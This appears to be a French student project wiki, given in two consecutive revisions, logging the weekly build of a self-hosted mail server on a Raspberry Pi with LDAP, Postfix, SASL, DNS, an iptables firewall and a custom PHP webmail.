mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:27:10Z

Tteneur : /* Semaine 14 (04/01/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

